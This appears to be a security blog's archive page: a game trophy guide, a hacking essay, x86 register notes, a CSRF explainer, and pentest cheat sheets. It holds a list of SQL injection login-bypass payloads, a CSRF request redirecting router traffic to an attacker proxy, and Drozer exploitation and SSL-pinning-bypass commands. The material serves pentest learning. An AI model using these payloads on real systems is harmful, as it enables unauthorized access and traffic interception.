B Your Story Starts Here Clear Story Mode Once

B Lucky We Met Clear Story Mode 5x

B The 16 Trials Clear Story Mode 16x

B Win Or Die Tryin' Clear Survival Mode on Normal difficulty

S A True Warrior's Spirit Clear Survival Mode on Hard difficulty

G Back From Hell Clear Survival mode on Extreme difficulty

Mastering The Basics

The tutorial can be skipped, but you can go back to obtain this by going

into Story Mode.

Bodybuilding Is Life

This will unlock when you EXIT the mode. Just check the clock. Don't sit

in Training waiting!

Story Mode Clears

In story mode, simply clear each character's story. They are painfully

easy. Do this 16x for three trophies.

Survival Mode Clears

Normal difficulty presents a decent challenge (the last few opponents do,

at least). The other two difficulties are quite difficult, thus the silver

and gold trophies. Clear each mode without dying to receive these.

Character Levelling

-------------------

B One Step Forward Raise A Character's Level to 5

B Quantity Over Quality Raise five Characters to Level 5

B No Rest For The Wicked Raise all 16 characters to Level 5

S Slow But Steady Wins The Race Raise one character to level 30

B Vindicated Honor Raise your profile to level 50

S Burning Spirit Raise your profile to level 100

G Number 2 Is The New Number 1 Raise your profile to level 200

Note the difference between raising a character's level and your profile. The

first four above are a single character. The next three are for your

profile. The line break helps define this. Your profile adds together all the

individual character levels.

Online (* signify Not Including Battle Lounge)

------

B Fighting On The Internet (*) Fight in 10 Network Battles

B All Going To Plan! (*) Fight in 50 Network Battles

B A Fiendish Trap (*) Fight in 300 Network Battles

B Waiting Is Half The Fun Fight in 30 Network Battles (Using Standby)

B I Know Kung Fu! Win 1 Ranked Match

B Addicted To Winning Win 10 Ranked Matches

B Working Up An Appetite Win 30 Ranked Matches

S Ceaseless Effort Win 100 Ranked Matches

G Bam, Bam, Win! Win 300 Ranked Matches

B Always Someone Stronger Defeat 10 stronger opponents (Ranked Match)

B Savoring The Win Streak Win 3 consecutive Ranked Matches

B First Promotion! Move up in league

S Muscles Bring Victory Make it to Silver League

G Let's Fight Something Strong Make it to the Golden League

Always Someone Stronger

The higher the opponent's LP, the lower their rank will be. Defeat 10

players whose rank is lower than yours.

League Trophies

These require you to level up. See section X above for LP required to reach

the Bronze, Silver & Gold Leagues.

Miscellaneous Online

--------------------

B Failing To Prepare is... Collect 30 replays

B See You In My Dreams Watch 50 replays

B Not-So-Secret Admirer Add someone to your favorites

B Global Network Add 30 names to your favorites

See You In My Dreams

You must watch the entire replay for this to count. It can be the same

repay over and over. You can skip a round and fast forward.

Favorites Trophies

In the CFN you can look for fighters and favorite them as well. Simply add

30 names to this list for two trophies!

Moves & Finishes

----------------

B Go Out With A Bang 300 EX special finishes

B Critical Beauty 300 Critical Art finishes

B Not Over 'Til It's Over 100 V-Reversal uses

B Enlightenment 100 V-Skill uses

B Sudden Reversal 100 V-Trigger uses

Moves Trophies

The last two are easy and should come naturally by consistently using them

during gameplay. I don't use V-Reversals so much. That will be a grind and

doing these in Training mode won't count. You can do those in Versus mode,

however.

The first two require 300 finishes. Survival Mode counts for this, that

is an easy way to rack up repeated EX/CA finishes. You'll have to save up

a full bar to get a CA finish, and to get 300 will take you a long time.

Miscellaneous

-------------

B Playing Favorites Set a favorite character

B All In A Name Choose a Title

B Make A Name For Yourself Collect 10 titles

B Sultan Of Titles Collect 30 titles

B Priceless Obtain 1,000,000 FM

B The Outfit Is The Highlight... Gain one new color for your outfit

In order to play online you'll have to set up your details in Battle Settings.

Playing Favorites / All In A Name

Set a favorite character and a title for two trophies.

Titles Trophies

30 titles is a lot and will require a lot of online playing with several

characters. Title unlocks are in section IX above.

The Outfit Is The Highlight Of Battle

You'll gain a new color by completing Survival on Easy, Normal or Hard.

Just beat Easy and you'll gain one color.

Priceless

1,000,000 FM is a lot. No one has gotten this yet to know if it's a

cumulative thing or an 'on-hand' thing. (i.e. do you need a million at

one time or just to have amassed that much even if you spent it).

..And Finally...

----------------

P The Never-Ending Path Obtain all other trophies

Collect every other trophy/achievement for this one!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-=-=-

Section XII

Credits

=-=-=-=-=-=-=-=-=-

A lot of trial and error was used on this guide and therefore there may be

problems (with the error portion of my plan). However, special thanks to:

Leptonic and his excellent Trophy Guide & Roadmap

http://www.playstationtrophies.org/forum/street-fighter-v/

284273-street-fighter-v-road-map-trophy-guide.html

Playstation Trophies Forums & specific thanks

Epedemic

Shoryuken.com

As a long-time follower of the SF community, Shoryuken has consistently had

great articles and useful dialogues.

Reddit.com/r/streetfighter

Some useful dialogues here! Title information as well Specific thanks:

DontPoke

Marion64

Morvant

Aevareth

_Hort

soyu21b

xdaimyo

Infern8

Other Assistance

Arthandas

Vesper's Survival Mode Guide

Grif

Brobocops

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-=-=-

Section XIII

Credits

=-=-=-=-=-=-=-=-=-

Street Fighter V is a trademark of Capcom.

You may not distribute this for profit.

You may not edit or alter the contents herein without the permission

of the author.

The most current version of this FAQ can always be found at the

following address:

http://www.slateman.net/faqs/

Hope the FAQ was useful in some form.

Good luck and have fun!

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Sunday, June 19, 2016

OPEN LETTER TO A WANNABE HACKER

These are from the words of Elfqrin who inspired me to become a hacker and every time i get frustrated as a hacker i just reread this article.

Hacking is something that must come from inside you. But is more than a simple
instinct. Curiosity, and will to know, must be the engine that drives you. Read
everything you find and try to put it into practice (within the limits of your
and anyone else's safety). This is a good start.
When I was a kid myself, in the second half of the '80s, things were somehow
better (not easier, anyway) for the ones who wanted to learn. Computer were just
out from scientific and military labs to reach the homes of the common people,
yet there were excellent little encyclopaedias that teached the basics of the
way to work and to "think" of the computers. Every computer magazines used to
teach how to program, including techniques so advanced that we'd call it
"hacking", nowadays. That's because at that time only a few people knew how
computer work, and that magazines were written by computer lovers for computer
lovers. Or in other words, by almost hackers for almost wannabe hackers.
Today things are changed. The business grew, and the available information
became more "commercial". Yet still there are many good books, especially about
programming, but they only cover very specific subjects and they are very
expensive (unless you live in India or in the Asian subcontinent). Thus, the
information you may find for free on the Internet, is probably the only good way
to learn.

The first thing for a hacker is to know his system. How it works. How
information is stored. If you don't know those things, you'll only learn the
rest superficially, and you will not able to adapt your knowledge to different
situations, or to make new discoveries by yourself. It would be like a lesson
learned by heart.
Another thing I consider necessary is to learn to program. Not just because
you'll be able to write your own programs (and in a certain way you can...
instruct the computer to your will), but mostly because programming will help
you to learn how computers really work.
The most popular language is currently C, or better its derivate C++. But you'd
better learn at least a little of everything, especially the new languages like
Java, and may be a bit of machine language. But for a start, even the dear good
Basic is fine, which is enough to learn the fundamental things. However is not
the language which makes the programmer. A language can be learned in a few
weeks, but programming techniques require years of experience.
Look for websites dedicated to programming, and download some listings (as we
used to call the "source code"), study them to see how do they work, and modify
them to get new effects or add new features.
See how other programs work. Find a better way to do a certain operation, and
you have learned how to optimize.

And when in real life you'll get stuck with any problem, think if you can solve
it with your computer, and if you are able to write a program to do that.
It can looks like a lot of things to you, but you are young, and you have time.
Anyway, you need time to make your own experience. You can always ask advices on
webboards or via e-mail about something you can't understand, but you'll have to
learn the most of it by yourself. You can make things more exciting if you start
learn hacking with a friend who shares your interests, so that you can "grow up"
together, and swap ideas and new discovers.
Slowly, while your knowledge increases, you'll be able to find holes in the
system by yourself, and may be think how to exploit those holes to your
advantage.

Remember that the whole concept of hacking is to explore the boundaries and
create something new, and possibly amazing. The fact that something has never
been done before shouldn't stop you. On the contrary, you should take it as a
challenge. Whenever you are wondering if something is possible, the correct
answer is: "Just try it".
Believe me, we all learned this way, and I don't think there's a better way.

Sunday, April 17, 2016

SQL Injection Authentication Bypass Cheat Sheet

During a penetration test i sometimes find myself testing for SQL injection authentication bypass within a web application and i got tired of search all over the place looking for different payloads, so i decided to create my own payload list. Hopefully someone who comes across this list might find it useful, and remember this is a growing list that i plan on expanding on. So enjoy happy payloading.

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Friday, April 8, 2016

Understanding x86 Registers

Good Morning all just getting in a reversing state of mind and as im going
through my OSCP journey just wanted to talk about x86 registers since this is
something that you will need to understand in order to learn exploit
development. well enough rambling from me lets get into it.

x86 Registers

The main tools to write programs in x86 assembly are the processor registers. The registers are like variables built in the processor. Using registers instead of memory to store values makes the process faster and cleaner. The problem with the x86 serie of processors is that there are few registers to use. This section describes the main use of each register and ways to use them. That in note that the rules described here are more suggestions than strict rules. Some operations need absolutely some kind of registers but most of the you can use any of the freely.

Here is a list of the available registers on the 386 and higher processors. This list shows the 32 bit registers. Most of the can be broken down to 16 or even 8 bits register.

General registers
EAX EBX ECX EDX

Segment registers
CS DS ES FS GS SS

Index and pointers
ESI EDI EBP EIP ESP

Indicator
EFLAGS

General registers
As the title says, general register are the one we use most of the time Most of the instructions perform on these registers. They all can be broken down into 16 and 8 bit registers.

32 bits : EAX EBX ECX EDX
16 bits : AX BX CX DX
8 bits : AH AL BH BL CH CL DH DL

The "H" and "L" suffix on the 8 bit registers stand for high byte and low byte. With this out of the way, let's see their individual main use

EAX,AX,AH,AL : Called the Accumulator register.
It is used for I/O port access, arithmetic, interrupt calls,
etc...

EBX,BX,BH,BL : Called the Base register
It is used as a base pointer for memory access
Gets some interrupt return values

ECX,CX,CH,CL : Called the Counter register
It is used as a loop counter and for shifts
Gets some interrupt values

EDX,DX,DH,DL : Called the Data register
It is used for I/O port access, arithmetic, some interrupt
calls.

Segment registers

Segment registers hold the segment address of various items. They are only available in 16 values. They can only be set by a general register or special instructions. Some of them are critical for the good execution of the program and you might want to consider playing with them when you'll be ready for multi-segment programming

CS : Holds the Code segment in which your program runs.
Changing its value might make the computer hang.

DS : Holds the Data segment that your program accesses.
Changing its value might give erronous data.

ES,FS,GS : These are extra segment registers available for
far pointer addressing like video memory and such.

SS : Holds the Stack segment your program uses.
Sometimes has the same value as DS.
Changing its value can give unpredictable results,
mostly data related.

Indexes and pointers

Indexes and pointer and the offset part of and address. They have various uses but each register has a specific function. They some time used with a segment register to point to far address (in a 1Mb range). The register with an "E" prefix can only be used in protected mode.

ES:EDI EDI DI : Destination index register
Used for string, memory array copying and setting and
for far pointer addressing with ES

DS:ESI EDI SI : Source index register
Used for string and memory array copying

SS:EBP EBP BP : Stack Base pointer register
Holds the base address of the stack

SS:ESP ESP SP : Stack pointer register
Holds the top address of the stack

CS:EIP EIP IP : Index Pointer
Holds the offset of the next instruction
It can only be read

The EFLAGS register

The EFLAGS register hold the state of the processor. It is modified by many intructions and is used for comparing some parameters, conditional loops and conditionnal jumps. Each bit holds the state of specific parameter of the last instruction. Here is a listing :

Bit Label Desciption
---------------------------
0 CF Carry flag
2 PF Parity flag
4 AF Auxiliary carry flag
6 ZF Zero flag
7 SF Sign flag
8 TF Trap flag
9 IF Interrupt enable flag
10 DF Direction flag
11 OF Overflow flag
12-13 IOPL I/O Priviledge level
14 NT Nested task flag
16 RF Resume flag
17 VM Virtual 8086 mode flag
18 AC Alignment check flag (486+)
19 VIF Virutal interrupt flag
20 VIP Virtual interrupt pending flag
21 ID ID flag

Those that are not listed are reserved by Intel.

Undocumented registers

There are registers on the 80386 and higher processors that are not well documented by Intel. These are divided in control registers, debug registers, test registers and protected mode segmentation registers. As far as I know, the control registers, along with the segmentation registers, are used in protected mode programming, all of these registers are available on 80386 and higher processors except the test registers that have been removed on the pentium. Control registers are CR0 to CR4, Debug registers are DR0 to DR7, test registers are TR3 to TR7 and the protected mode segmentation registers are GDTR (Global Descriptor Table Register), IDTR (Interrupt Descriptor Table Register), LDTR (Local DTR), and TR.

Monday, March 28, 2016

Understanding Cross-Site Request Forgery (CSRF)

This is just a quick guide to Understanding Cross-Site Request Forgery and how it works and how can it be prevented. So without wasting any more time lets get to it :).

So What is Cross-Site Request Forgery RARRRRRRRRRR

Cross-Site Request Forgery (CSRF) is an attack outlined in the OWASP Top 10 whereby a malicious website will send a request to a web application that a user is already authenticated against from a different website. This way an attacker can access functionality in a target web application via the victim's already authenticated browser. Targets include web applications like social media, in-browser email clients, online banking and web interfaces for network devices.

Key Concepts of Cross-Site Request Forgery

Malicious requests are sent from a site that a user visits to another site that the attacker believes the victim is validated against.
The malicious requests are routed to the target site via the victim’s browser, which is authenticated against the target site.
The vulnerability lies in the affected web application, not the victim’s browser or the site hosting the CSRF.

Executing a CSRF Attack

In a Cross-Site Request Forgery attack, the attacker is exploiting how the target web application manages authentication. For CSRF to be exploited, the victim must be authenticated against (logged into) the target site. For instance, let’s say I just bought a new home wireless router. Like most wifi routers, it’s configured through a web interface. The router was shipped to me with an internal IP address of 192.168.1.1. I’m having trouble configuring the router though, and fortunately the folks over at somemalicioussite.com have published a guide that shows me exactly what buttons to click in the router interface to get everything set up securely. The attackers have also set up a proxy server at 123.45.67.89 that will log all traffic that goes through it and look for things like passwords and session tokens.

As I clicked through the configuration guide, "I missed the 1x1 pixel image that failed to load:"

http://192.168.1.1/admin/config/outsideInterface?nexthop=123.45.67.89”

alt=”pwned” height=”1” width=”1”/>

The attackers knew that when I was reading their tutorial, I would be logged into the router interface. So they had the CSRF attack set up in the tutorial. With that request, my router would be reconfigured so that my traffic will be routed to their proxy server where they can do all manner of bad things with it.

Preventing Cross-Site Request Forgery (CSRF) Vulnerabilities

The most common method to prevent Cross-Site Request Forgery (CSRF) attacks is to append unpredictable challenge tokens to each request and associate them with the user’s session. Such tokens should at a minimum be unique per user session, but can also be unique per request. By including a challenge token with each request, the developer can ensure that the request is valid and not coming from a source other than the user.

Finding and Remediating Cross-Site Request Forgery (CSRF) Vulnerabilities

The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.

Thursday, March 24, 2016

Mobile Application Penetration Testing Cheat Sheet

I'm currently on a Journey to learn as much as i can about mobile application penetration testing, during my research i stumbled access a Mobile App Pentest CheatSheet that i wanted to share with others that are on the same mobile app security journey as i am. The Mobile App Pentest cheat sheet provides a concise collection of high value information on specific mobile application penetration testing topics.

Mobile Application Security Testing Distributions

Appie - A portable software package for Android Pentesting and an awesome alternative to existing Virtual machines.
Android Tamer - Android Tamer is a Virtual / Live Platform for Android Security professionals.
AppUse - AppUse is a VM (Virtual Machine) developed by AppSec Labs.
Androl4b - A Virtual Machine For Assessing Android applications, Reverse Engineering and Malware Analysis
Mobisec - Mobile security testing live environment.
Santoku - Santoku is an OS and can be run outside a VM as a standalone operating system.
Vezir Project - Mobile Application Pentesting and Malware Analysis Environment.
All-in-One Mobile Security Frameworks

All-in-One Mobile Security Frameworks

Mobile Security Framework - MobSF - Mobile Security Framework is an intelligent, all-in-one open source mobile application (Android/iOS) automated pen-testing framework capable of performing static and dynamic analysis.
python manage.py runserver 127.0.0.1:1337

Android Application Penetration Testing

Reverse Engineering and Static Analysis

APKInspector - APKinspector is a powerful GUI tool for analysts to analyze the Android applications.
APKTool - A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications.
Disassembling Android apk file
apktool d [apk file]
Rebuilding decoded resources back to binary APK/JAR with certificate signing
apktool b [modified folder]
keytool -genkey -v -keystore keys/test.keystore -alias Test -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
jarsigner -keystore keys/test.keystore dist/test.apk -sigalg SHA1withRSA -digestalg SHA1 Test
Sign - Sign.jar automatically signs an apk with the Android test certificate.
Jadx - Dex to Java decompiler: Command line and GUI tools for produce Java source code from Android Dex and Apk files.
Oat2dex - A tool for converting .oat file to .dex files.
Deoptimize boot classes (The output will be in "odex" and "dex" folders)
java -jar oat2dex.jar boot [boot.oat file]
Deoptimize application
java -jar oat2dex.jar [app.odex] [boot-class-folder output from above]
Get odex from oat
java -jar oat2dex.jar odex [oat file]
Get odex smali (with optimized opcode) from oat/odex
java -jar oat2dex.jar smali [oat/odex file]
FindBugs + FindSecurityBugs - FindSecurityBugs is a extension for FindBugs which include security rules for Java applications.
Qark - This tool is designed to look for several security related Android application vulnerabilities, either in source code or packaged APKs.
AndroBugs - AndroBugs Framework is an efficient Android vulnerability scanner that helps developers or hackers find potential security vulnerabilities in Android applications. No need to install on Windows.
Simplify - A tool for de-obfuscating android package into Classes.dex which can be use Dex2jar and JD-GUI to extract contents of dex file.
simplify.jar -i [input smali files or folder] -o [output dex file]
ClassNameDeobfuscator - Simple script to parse through the .smali files produced by apktool and extract the .source annotation lines.
Android backup extractor - Utility to extract and repack Android backups created with adb backup (ICS+). Largely based on BackupManagerService.java from AOSP.

Dynamic and Runtime Analysis

Cydia Substrate - Cydia Substrate for Android enables developers to make changes to existing software with Substrate extensions that are injected in to the target process's memory.
Xposed Framework - Xposed framework enables you to modify the system or application aspect and behaviour at runtime, without modifying any Android application package(APK) or re-flashing.
logcat-color - A colorful and highly configurable alternative to the adb logcat command from the Android SDK.
Inspeckage - Inspeckage is a tool developed to offer dynamic analysis of Android applications. By applying hooks to functions of the Android API, Inspeckage will help you understand what an Android application is doing at runtime.
Frida - The toolkit works using a client-server model and lets you inject in to running processes not just on Android, but also on iOS, Windows and Mac.
AndBug - AndBug is a debugger targeting the Android platform's Dalvik virtual machine intended for reverse engineers and developers.
Cydia Substrate: Introspy-Android - Blackbox tool to help understand what an Android application is doing at runtime and assist in the identification of potential security issues.
Drozer - Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.
Starting a session
adb forward tcp:31415 tcp:31415
drozer console connect
Retrieving package information
run app.package.list -f [app name]
run app.package.info -a [package name]
Identifying the attack surface
run app.package.attacksurface [package name]
Exploiting Activities
run app.activity.info -a [package name] -u
run app.activity.start --component [package name] [component name]
Exploiting Content Provider
run app.provider.info -a [package name]
run scanner.provider.finduris -a [package name]
run app.provider.query [uri]
run app.provider.update [uri] --selection [conditions] [selection arg] [column] [data]
run scanner.provider.sqltables -a [package name]
run scanner.provider.injection -a [package name]
run scanner.provider.traversal -a [package name]
Exploiting Broadcast Receivers
run app.broadcast.info -a [package name]
run app.broadcast.send --component [package name] [component name] --extra [type] [key] [value]
run app.broadcast.sniff --action [action]
Exploiting Service
run app.service.info -a [package name]
run app.service.start --action [action] --component [package name] [component name]
run app.service.send [package name] [component name] --msg [what] [arg1] [arg2] --extra [type] [key] [value] --bundle-as-obj

Network Analysis and Server Side Testing

Tcpdump - A command line packet capture utility.
Wireshark - An open-source packet analyzer.
Live packet captures in real time
adb shell "tcpdump -s 0 -w - | nc -l -p 4444“
adb forward tcp:4444 tcp:4444
nc localhost 4444 | sudo wireshark -k -S -i –
Canape - A network testing tool for arbitrary protocols.
Mallory - A Man in The Middle Tool (MiTM) that use to monitor and manipulate traffic on mobile devices and applications.
Burp Suite - Burp Suite is an integrated platform for performing security testing of applications.
Proxydroid - Global Proxy App for Android System.

Bypassing Root Detection and SSL Pinning

Xposed Module: Just Trust Me - Xposed Module to bypass SSL certificate pinning.
Xposed Module: SSLUnpinning - Android Xposed Module to bypass SSL certificate validation (Certificate Pinning).
Cydia Substrate Module: Android SSL Trust Killer - Blackbox tool to bypass SSL certificate pinning for most applications running on a device.
Cydia Substrate Module: RootCoak Plus - Patch root checking for commonly known indications of root.
Android-ssl-bypass - an Android debugging tool that can be used for bypassing SSL, even when certificate pinning is implemented, as well as other debugging tasks. The tool runs as an interactive console.

Security Libraries

PublicKey Pinning - Pinning in Android can be accomplished through a custom X509TrustManager. X509TrustManager should perform the customary X509 checks in addition to performing the pinning configuration.
Android Pinning - A standalone library project for certificate pinning on Android.
Java AES Crypto - A simple Android class for encrypting & decrypting strings, aiming to avoid the classic mistakes that most such classes suffer from.
Proguard - ProGuard is a free Java class file shrinker, optimizer, obfuscator, and preverifier. It detects and removes unused classes, fields, methods, and attributes.
SQL Cipher - SQLCipher is an open source extension to SQLite that provides transparent 256-bit AES encryption of database files.
Secure Preferences - Android Shared preference wrapper than encrypts the keys and values of Shared Preferences.
Trusted Intents - Library for flexible trusted interactions between Android apps.

iOS Application Penetration Testing

Access Filesystem on iDevice

FileZilla - It supports FTP, SFTP, and FTPS (FTP over SSL/TLS).
Cyberduck - Libre FTP, SFTP, WebDAV, S3, Azure & OpenStack Swift browser for Mac and Windows.
itunnel - Use to forward SSH via USB.
iFunbox - The File and App Management Tool for iPhone, iPad & iPod Touch.

Reverse Engineering and Static Analysis

otool - The otool command displays specified parts of object files or libraries.
Clutch - Decrypted the application and dump specified bundleID into binary or .ipa file.
Dumpdecrypted - Dumps decrypted mach-o files from encrypted iPhone applications from memory to disk. This tool is necessary for security researchers to be able to look under the hood of encryption.
iPod:~ root# DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Applications/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Scan.app/Scan
class-dump - A command-line utility for examining the Objective-C runtime information stored in Mach-O files.
Weak Classdump - A Cycript script that generates a header file for the class passed to the function. Most useful when you cannot classdump or dumpdecrypted , when binaries are encrypted etc.
iPod:~ root# cycript -p Skype weak_classdump.cy; cycript -p Skype
#cy weak_classdump_bundle([NSBundle mainBundle],"/tmp/Skype")
IDA Pro - IDA is a Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger that offers so many features it is hard to describe them all.
HopperApp - Hopper is a reverse engineering tool for OS X and Linux, that lets you disassemble, decompile and debug your 32/64bits Intel Mac, Linux, Windows and iOS executables.
iRET - The iOS Reverse Engineering Toolkit is a toolkit designed to automate many of the common tasks associated with iOS penetration testing.

Dynamic and Runtime Analysis

cycript - Cycript allows developers to explore and modify running applications on either iOS or Mac OS X using a hybrid of Objective-C++ and JavaScript syntax through an interactive console that features syntax highlighting and tab completion.
Show current view
cy# UIApp.keyWindow.rootViewController.topViewController.visibleViewController
Get an array of existing objects of a certain class
cy# choose(UIViewController)
List method at runtime
cy# [classname].messages or
cy# function printMethods(className) { var count = new new Type("I"); var methods = class_copyMethodList(objc_getClass(className), count); var methodsArray = []; for(var i = 0; i < *count; i++) { var method = methods[i]; methodsArray.push({selector:method_getName(method), implementation:method_getImplementation(method)}); } free(methods); free(count); return methodsArray; }
cy# printMethods("[classname]")
Prints out all the instance variables
cy# function tryPrintIvars(a){ var x={}; for(i in a){ try{ x[i] = (a)[i]; } catch(e){} } return x; }
cy# a=#0x15d0db80
cy# tryPrintIvars(a)
Manipulating through property
cy# [a pinCode]
cy# [a setPinCode: @"1234"]
cy# [a isValidPin]
cy# a->isa.messages['isValidPin'] = function(){return 1;}
iNalyzer - AppSec Labs iNalyzer is a framework for manipulating iOS applications, tampering with parameters and method.
idb - idb is a tool to simplify some common tasks for iOS pentesting and research.
snoop-it - A tool to assist security assessments and dynamic analysis of iOS Apps.
Introspy-iOS - Blackbox tool to help understand what an iOS application is doing at runtime and assist in the identification of potential security issues.
gdb - A tool to perform runtime analysis of IOS applications.
keychaindumper - A tool to check which keychain items are available to an attacker once an iOS device has been jailbroken.
BinaryCookieReader - A tool to dump all the cookies from the binary Cookies.binarycookies file.

Network Analysis and Server Side Testing

Canape - A network testing tool for arbitrary protocols.
Mallory - A Man in The Middle Tool (MiTM) that use to monitor and manipulate traffic on mobile devices and applications.
Burp Suite - Burp Suite is an integrated platform for performing security testing of applications.
Charles Proxy - HTTP proxy / HTTP monitor / Reverse Proxy that enables a developer to view all of the HTTP and SSL / HTTPS traffic between their machine and the Internet.

Bypassing Root Detection and SSL Pinning

SSL Kill Switch 2 - Blackbox tool to disable SSL certificate validation - including certificate pinning - within iOS and OS X Apps.
iOS TrustMe - Disable certificate trust checks on iOS devices.
Xcon - A tool for bypassing Jailbreak detection.
tsProtector - Another tool for bypassing Jailbreak detection.

Security Libraries

PublicKey Pinning - iOS pinning is performed through a NSURLConnectionDelegate. The delegate must implement connection:canAuthenticateAgainstProtectionSpace: and connection:didReceiveAuthenticationChallenge:. Within connection:didReceiveAuthenticationChallenge:, the delegate must call SecTrustEvaluate to perform customary X509 checks.

BsdBandit

Monday, July 11, 2016

Street Fighter V: Unlockables Guide

Sunday, June 19, 2016

OPEN LETTER TO A WANNABE HACKER

Sunday, April 17, 2016

SQL Injection Authentication Bypass Cheat Sheet

Friday, April 8, 2016

Understanding x86 Registers

Monday, March 28, 2016

Understanding Cross-Site Request Forgery (CSRF)

Thursday, March 24, 2016

Mobile Application Penetration Testing Cheat Sheet

Cracking Kerberos Service Tickets (TGS) Using Kerberoasting

Followers